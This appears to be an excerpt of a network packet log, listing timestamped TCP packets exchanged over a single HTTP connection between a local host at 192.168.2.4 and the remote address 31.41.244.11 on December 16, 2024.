Dec 16, 2024 21:02:32.248368979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.250083923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.250185013 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.250385046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.252182961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.252353907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.252424955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.254268885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.254383087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.254422903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.254781961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.256165981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.256287098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.256329060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.256361008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.258141041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.258256912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.258727074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.260082960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.260294914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.260328054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.260452032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.262309074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.262401104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.262439013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.262787104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.263835907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.264050961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.264095068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.264170885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.265717030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.265815973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.265824080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.265990973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.267580986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.267777920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.267817974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.268332958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.269434929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.269598961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.270042896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.271255970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.271367073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.273077965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.273118973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.273158073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.273519993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.274982929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.275253057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.275860071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.277146101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.277331114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.277478933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.277646065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.279057026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.279226065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.279805899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.280601025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.280657053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.280697107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.280765057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.282274961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.282449961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.282479048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.282545090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.284090996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.284164906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.285098076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.285994053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.286072969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.286127090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.286231995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.287822962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.287892103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.287950039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.289613008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.289727926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.289743900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.289819002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.291527033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.291630983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.291635036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.291719913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.293329000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.293390989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.293436050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.294179916 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.295156002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.295263052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.295269966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.295402050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.297019958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.297094107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.297123909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.297378063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.298886061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.298980951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.299465895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.300718069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.300822973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.300858021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.301983118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.302557945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.302644968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.302679062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.303138018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.304375887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.304402113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.304872990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.306224108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.306307077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.308279991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.308295965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.308357000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.308615923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.309927940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.310019970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.310122967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.310621023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.311857939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.311933041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.311968088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.312207937 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.313602924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.313664913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.313676119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.313746929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.315464020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.315530062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.315583944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.316119909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.317457914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.317564964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.317598104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.318866968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.319178104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.319248915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.319293022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.319834948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.320970058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.321074963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.321192980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.322870970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.322966099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.323282003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.324747086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.324815989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.324846029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.325033903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.326539040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.326723099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.326754093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.328385115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.328469992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.328505993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.328711987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.330212116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.330315113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.330727100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.332087040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.332154989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.332273006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.332638025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.333931923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.334002018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.334018946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.334166050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.335762024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.335777998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.335819960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.336107016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.437011003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.437037945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.437124968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.437124968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.437342882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.437520027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.437697887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.437725067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.437757015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.437805891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.439008951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.439074993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.439085007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.439254045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.440512896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.440531969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.440612078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.440613031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.441837072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.441956997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.441984892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.442285061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.443267107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.443345070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.443691015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.444700956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.444757938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.444792032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.444999933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.446100950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.446269035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.446497917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.447463989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.447623014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.447662115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.448029041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.448846102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.448940039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.448988914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.449389935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.450184107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.450310946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.451030016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.451544046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.451659918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.451693058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.452886105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.453011036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.453049898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.453784943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.454190016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.454320908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.454401016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.455615997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.455667019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.455755949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.455755949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.456922054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.457050085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.457127094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.458252907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.458401918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.458436012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.459331989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.459584951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.459707022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.459742069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.460503101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.460891962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.460979939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.461152077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.462229967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.462347984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.462430954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.463557005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.463624001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.463666916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.463716984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.464958906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.465073109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.465106010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.465576887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.466190100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.466281891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.466362000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.466432095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.467609882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.467674017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.467708111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.468352079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.468924046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.468987942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.469027042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.470221996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.470253944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.470387936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.471564054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.471602917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.471687078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.472999096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.473033905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.473117113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.473670006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.474215984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.474282026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.474318027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.475572109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.475608110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.475656033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.475706100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.476895094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.476933002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.477039099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.477075100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.478221893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.478262901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.478322029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.479569912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.479609966 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.479670048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.480871916 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.481271982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.481331110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.481379032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.481435061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.482235909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.482362986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.482388020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.483623028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.483650923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.483685970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.484889984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.484927893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.484975100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.485011101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.486006021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.486258030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.486386061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.486696005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.487554073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.487648964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.487658024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.488890886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.488998890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.489034891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.489459991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.490223885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.490365028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.490398884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.491766930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.491857052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.491892099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.493060112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.493123055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.493159056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.494155884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.494187117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.494232893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.494267941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.494467020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.495533943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.495639086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.495645046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.496659040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.496937037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.496999025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.497052908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.497205973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.498191118 CET	80	49812	31.41.244.11	192.168.2.4
